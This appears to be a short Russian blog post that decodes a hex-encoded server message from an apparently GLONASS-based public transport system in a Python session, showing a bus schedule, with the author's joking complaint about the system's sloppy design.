>>> st = '7e7e3e0202005e4a02000400000200050064000000010000000100008000000000010000003c4e4156534352207665723d312e303e3c49443e313c2f49443e3c46524f4d3e5345525645523c2f46524f4d3e3c544f3e555345523c2f544f3e3c545950453e51554552593c2f545950453e3c4d53472074696d653d3138303020747970653d6261636b67726f756e643e266e6273703b266e6273703b266e6273703b266e6273703b266e6273703b266e6273703b266e6273703b266e6273703b303034266e6273703b266e6273703b33266e6273703b266e6273703b266e6273703bd6266e6273703b2b3033266e6273703b266e6273703b3c6272202f3e266e6273703b266e6273703b266e6273703b266e6273703b266e6273703b266e6273703b266e6273703b266e6273703b266e6273703b266e6273703b266e6273703b266e6273703b266e6273703b266e6273703b266e6273703b266e6273703b266e6273703b30383a3538266e6273703b266e6273703b3c6272202f3e266e6273703b266e6273703bccd0c2266e6273703b266e6273703b266e6273703b266e6273703b266e6273703b266e6273703b266e6273703b266e6273703b266e6273703b266e6273703b266e6273703b266e6273703b30393a3036266e6273703b266e6273703b3c6272202f3e266e6273703b266e6273703befebcbc5cdc8cdc0266e6273703b266e6273703b266e6273703b266e6273703b266e6273703b266e6273703b266e6273703b30393a3131266e6273703b266e6273703b3c6272202f3e3c2f4d53473e3c2f4e41565343523e'

>>> print u'%s' % st.decode('hex').decode('cp1251')

~~>^JdЂ<NAVSCR ver=1.0><ID>1</ID><FROM>SERVER</FROM><TO>USER</TO><TYPE>QUERY</TYPE><MSG time=1800 type=background>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;004&nbsp;&nbsp;3&nbsp;&nbsp;&nbsp;Ц&nbsp;+03&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;08:58&nbsp;&nbsp;<br />&nbsp;&nbsp;МРВ&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;09:06&nbsp;&nbsp;<br />&nbsp;&nbsp;плЛЕНИНА&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;09:11&nbsp;&nbsp;<br /></MSG></NAVSCR>

Собственно, нам ещё и график движения отдают:)

        004  3   Ц +03                    08:58     МРВ            09:06     плЛЕНИНА       09:11  

Это конечно забавно и интересно. Можно управлять вселенной, сидя за монитором на берегу Енисея. Но, один вопрос никак не покидает: «Почему у нас всё делают так... через жопу?»

ГЛОНАСС

1 комментариев